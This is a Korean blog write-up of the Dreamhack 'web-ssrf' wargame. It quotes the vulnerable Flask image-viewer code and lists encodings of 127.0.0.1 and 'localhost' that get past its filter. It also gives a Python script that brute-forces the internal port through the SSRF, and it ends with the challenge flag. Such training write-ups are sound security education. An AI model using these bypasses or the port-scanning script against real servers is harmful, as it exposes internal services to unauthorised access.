-
[Dreamhack] web-ssrfweb웹/Dreamhack wargame 2022. 8. 16. 08:19
@app.route("/img_viewer", methods=["GET", "POST"]) def img_viewer(): if request.method == "GET": return render_template("img_viewer.html") elif request.method == "POST": url = request.form.get("url", "") # url 입력 urlp = urlparse(url) if url[0] == "/": url = "http://localhost:8000" + url # url에 host와 port를 명시하지 않을 경우 localhost:8000으로 설정 elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc): # 'localhost' / '127.0.0.1' 필터링 data = open("error.png", "rb").read() img = base64.b64encode(data).decode("utf8") return render_template("img_viewer.html", img=img) try: data = requests.get(url, timeout=3).content # url에 접속 요청 img = base64.b64encode(data).decode("utf8") # 응답 이미지를 받아옴 except: data = open("error.png", "rb").read() img = base64.b64encode(data).decode("utf8") return render_template("img_viewer.html", img=img)
위 코드에서 127.0.0.1은 필터링되고 있는 ip주소이다.
local_host = "127.0.0.1" #외부에서 이 서버에 접근하는 것은 불가능함 local_port = random.randint(1500, 1800) local_server = http.server.HTTPServer( (local_host, local_port), http.server.SimpleHTTPRequestHandler ) #리소스 반환 웹서버 생성
포트번호는 1500-1800사이의 랜덤 값이고 리소스를 반환하는 웹서버의 호스트가 127.0.0.1이다.
우리가 여기서 파악할 수 있는 것은
- 외부에서 이 서버에 직접 접근하는 것은 불가능하다.
- 포트 번호를 추측해야함
1번을 해결하기 위해서는 SSRF를 통해 내부 서버에 접근해야한다.
127.0.0.1을 우회할 수 있는 방법은 다양하지만, alias를 이용하는 것이 가장 간단한 방법이다.
각 자릿수를 16진수로 변환한 “0x7f.0x00.0x00.0x01”, “0x7f.0x00.0x00.0x01”에서 .을 제거한 “0x7f000001”, 0x7f000001을 10진수로 풀어 쓴 “2130706433”, 그리고 각 자리에서 0을 생략한 “127.1”, “127.0.1”과 같은 호스트를 가리킨다.
또한 127.0.0.1부터 127.0.0.255 까지의 IP는 루프백 주소라고 하여 모두 로컬 호스트를 가리키며
URL에서 호스트와 스키마는 대소문자를 구분하지 않습니다. 따라서 “localhost”의 임의 문자를 대문자로 바꿔도 같은 호스트를 의미함
다양한 alias 중 하나를 선택해서 사용해주면 된다.
2번을 해결해보자
포트번호를 추측해보는 것은 직접 일일이 포트번호를 넣어서 접근을 시도해보는 것도 가능은 하지만
손으로 직접 찾아내기에는 범위가 너무 광범위하기 때문에 브루트포싱 공격을 이용하는 것이 나을 것이다.
다음 코드는 포트번호에 무차별 대입 공격(브루트포스)을 하는 코드이다.
이거 말고 버프스위트를 이용하는 방법도 가능하다.
#!/usr/bin/python3 import requests import sys from tqdm import tqdm # `src` value of "NOT FOUND X" NOTFOUND_IMG = "iVBORw0KG" def send_img(img_url): global chall_url data = { "url": img_url, } response = requests.post(chall_url, data=data) return response.text def find_port(): for port in tqdm(range(1500, 1800)): img_url = f"http://Localhost:{port}" if NOTFOUND_IMG not in send_img(img_url): print(f"Internal port number is: {port}") break return port if __name__ == "__main__": chall_port = int(sys.argv[1]) chall_url = f"http://host1.dreamhack.games:{chall_port}/img_viewer" internal_port = find_port()
위 코드로 계속 대입을 하다보면 값을 응답하는 포트번호 하나를 찾을 수 있다.
아까 그 alias와 해당 포트번호를 이용하여 url을 완성시켜주고, 페이지에 제출한다.
개발자 도구로 들어가면 반환된 이미지 데이터 값을 확인할 수 있다.
해당 값은 base64 인코딩된 값으로 이를 디코딩해주면 된다.
더보기DH{43dd2189056475a7f3bd11456a17ad71}
'web웹 > Dreamhack wargame' 카테고리의 다른 글
[Dreamhack] XSS-1 (0) 2022.08.02 [Dreamhack] session (0) 2022.07.26 [Dreamhack] session-basic (0) 2022.07.26 [Dreamhack] error based sql injection(+문제해결 완) (0) 2022.07.14